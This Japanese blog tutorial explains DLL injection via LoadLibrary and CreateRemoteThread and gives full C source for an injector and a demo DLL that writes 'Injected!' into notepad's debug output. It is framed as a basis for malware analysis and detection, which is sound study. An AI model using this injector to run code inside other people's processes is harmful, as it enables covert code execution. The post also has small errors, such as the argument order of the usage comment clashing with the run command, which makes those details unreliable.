Snoozy

1.Sleep-inducing; tedious.

LoadLibrary,CreateRemoteThreadを使ったDLL Injectionをやってみる

LoadLibrary,CreateRemoteThreadを使ったDLL Injectionをやってみる

DLLインジェクションの紹介記事なんて何番煎じだよという声が聞こえてきそうですが、DLLを使った攻撃は多くの派生版があり、それらを理解するにはまず最も基本的なLoadLibrary,CreateRemoteThreadを使ったDLLインジェクションを理解することが近道です。

本記事ではKernel32.dllがエクスポートするLoadLibrary、CreateRemoteThreadを使ったDLLInjectionを実装し、その動作原理について解説したいと思います。 またその結果としてマルウェア解析やその検知等の応用につなげていただければ幸いです。

DLL Injectionの原理

Windowsにおいて、各プロセスは固有の仮想メモリ空間を持ちます。 そのため基本的にWindowsAPIの力を借りずにあるプロセスが別のプロセスのメモリ空間を操作することはできません。

対してDLL InjectionはリモートプロセスへDLLを注入することで、そのリモートプロセスとしてコードを実行させるテクニックです。 これは攻撃者からすれば、既存のプロセスを隠れ蓑に任意のコードを実行させられるということであり、実においしい話です。

さて、さきほどWindowsAPIの力を借りずにあるプロセスが別のプロセスのメモリ空間を操作することはできないと述べました。ではどのようにDLL Injectionは実装されるのでしょうか。

特定のDLL(具体的にはNtdll.dllやKernel32.dll,User32.dllなどのサブシステムDLL)はすべてのプロセスで同じ仮想メモリアドレスにロードされます.したがって,それらDLLからエクスポートされるAPIのアドレスはすべてのプロセスで共通の値になります.

Loadlibraryを使ったDLLインジェクションはこの仕組みに着目し、自プロセスにロードされたKernel32.dllからエクスポートされるLoadlibraryへのアドレスをそのまま他プロセスに渡すことで任意のDLLのロードを可能にします。

主な手順は次のようになります。

  1. リモートプロセスをオープンまたはアタッチ
  2. WriteProcessMemoryでリモートプロセスに読み込ませたいDLLのパスを書き込む
  3. Loadlibraryへのアドレスを引数としてリモートプロセスに対してCreateRemoteThreadする
  4. この際、Loadlibraryの引数に、先ほど書き込んだDLLのパスへのアドレスを指定することで、任意のDLLを読み込ませることが可能
  5. DLLは読み込まれた直後に自動的に実行するコードを内部に記述可能で、ここに悪意あるコードを忍ばせておくことで攻撃が成立する

それでは実際に悪意あるDLLとそれをほかのプロセスにインジェクトするインジェクタープログラムを実装していきましょう。

injectorの実装

// usage
// ./injector.exe [DLLPath] [ProcessID to insert DLL]

#include <windows.h>

int main(int argc, char *argv[])
{
    DWORD pid;
    HANDLE proc;
    LPSTR libPath;
    LPSTR remoteLibPath;
    DWORD pathSize;
    libPath = argv[1];

    // 文字列を数値に変換
    pid = strtoul(argv[2], NULL, 0);

    proc = OpenProcess(
        PROCESS_CREATE_THREAD      //CreateRemoteThread
            | PROCESS_VM_OPERATION //VirtualAllocEX
            | PROCESS_VM_WRITE,    //WriteProcessMemory
        FALSE,                     //InheritHandle
        pid);

    pathSize = strlen(libPath) + 1;

    remoteLibPath = VirtualAllocEx(
        proc,
        NULL,
        pathSize,
        MEM_COMMIT,
        PAGE_READWRITE);
    
    // リモートプロセスへ読み込ませたいDLLのパスを書き込む
    WriteProcessMemory(
        proc,
        remoteLibPath,
        libPath,
        pathSize,
        NULL);

    // 自プロセス内のLoadlibraryへのアドレスをそのまま引数として渡す 
    CreateRemoteThread(
        proc,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)LoadLibrary,
        remoteLibPath,
        0,
        NULL);

    return 0;
}

DLLを読み込ませるインジェクタープログラムはたったこれだけです。

injectさせるDLLの実装

次に読み込まれるDLLを実装していきましょう。 このDLLがリモートプロセスに読み込まれ、デバッグウィンドウに文字列が出力されれば成功です。

// evil.c
#include <Windows.h>
int evilcode(void);

int evilCode()
{
    char *buf = "Injected!";
    OutputDebugString(buf);
}

BOOL WINAPI
DllMain(HMODULE hModule,
        DWORD ul_reason_for_call,
        LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        evilCode();
    }
    return TRUE;
}

DLLは自身がプロセスにアタッチされたとき、つまりプロセスの仮想メモリ上にロードされたときに実行されるコードを記述可能で、今回はアタッチ時にevilcode()が実行されます。 このようにすることで読み込ませたプロセス上で任意のコードを走らせることができます。

実際に動作させてみる

VisualStudio付属のx64 native tools command prompt for vs 2019からclコマンドでコンパイルを行います。

cl injector.c

DLLは/LDオプションをつけることで作成できます。

cl evil.c /LD

まずは適当なインジェクトされるプログラムを起動しそのプロセス番号を調べます。今回はメモ帳を使うことにします。

C:\Program Files (x86)\Microsoft Visual Studio\2019\Community>tasklist | findstr "notepad"
notepad.exe                  15424 Console                    1     18,340 K

続いてインジェクタープログラムを使って実際にDLLをメモ帳にロードさせてみます。

injector.exe 15424 evil.dll

メッセージボックスがデバッグビューに表示されればDLLインジェクション成功です。

まとめ

名前のいかつさとは対照的に、案外簡単に実装できてしまったのではないでしょうか。

DLL InjectionはAPIフックやin-lineフックなどの興味深い攻撃手法の根幹をなすテクニックです。 また、インジェクター内で使用したOpenProcessやWriteProcessMemory、CreateRemoteThreadはプロセス操作を行うマルウェアで頻繁に目にするWindowsAPIです。

興味深い攻撃手法がたくさんありますのでぜひ手元で再現し、その検知手法ならびに解析手法を考えてみてください。

参考サイト

furuya02.hatenablog.com